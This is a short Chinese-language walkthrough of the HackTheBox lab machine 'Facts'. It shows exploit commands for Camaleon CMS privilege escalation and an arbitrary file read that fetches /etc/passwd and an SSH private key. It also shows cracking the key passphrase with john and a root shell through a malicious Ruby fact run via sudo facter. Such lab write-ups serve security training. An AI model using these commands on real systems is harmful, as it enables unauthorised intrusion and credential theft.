思路
https://app.hackthebox.com/machines/Facts
Nmap 扫出来 22 80 54321
80 是一个 web,改 host,域名打开,注册账号并登录
登录之后确定 cms 为 Camaleon CMS. Version 2.9.0
找历史漏洞,模板上传 rce 不行, MinIO 是兔子洞,没什么作用。
GitHub 找到一个 CVE-2025-2304 提权漏洞,可以把普通账号提为 admin
python exp.py http://facts.htb abc abc@123
把自己提成 admin 之后,可以读到 MinIO 存储的 aksk,但是没用
补一句,这里可以把 admin 的密码改掉,但是意义并不大,我后面用的都是 admin,注意区分
接下来会用到 CVE-2024-46987 ,在官方通报中,这个漏洞在 2.8.0 至 < 2.8.2 可用,但是经实际测试,在 2.9.0 也可用
利用这个任意文件读取,读 passwd 获取用户名
python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /etc/passwd
拿到 id 为 1000 的用户名 trivia 1001 是 william
接着读 ssh 私钥(id_rsa、id_ed 25519、id_ecdsa)
python3 CVE-2024-46987.py -u http://facts.htb/ -l admin -p abc@123 /home/trivia/.ssh/id_ed25519
读到之后,ssh 登录,但是 key 有密码用 ssh 2 john 存为 hash,再用 john 爆破,大概三分钟拿到密码。
Ssh 上去之后,在 william 目录拿到 key 1,sudo -l 找到免 passwd 命令 /usr/bin/facter
Facter 有一个 --custom-dir 参数,可以构造 RCE
mkdir -p /tmp/rfacts
cat > /tmp/rfacts/evil.rb << 'EOF'
Facter.add('evil') do
setcode do
system('/bin/bash')
end
end
EOF
提权至 root
sudo /usr/bin/facter --custom-dir /tmp/rfacts evil
Comments NOTHING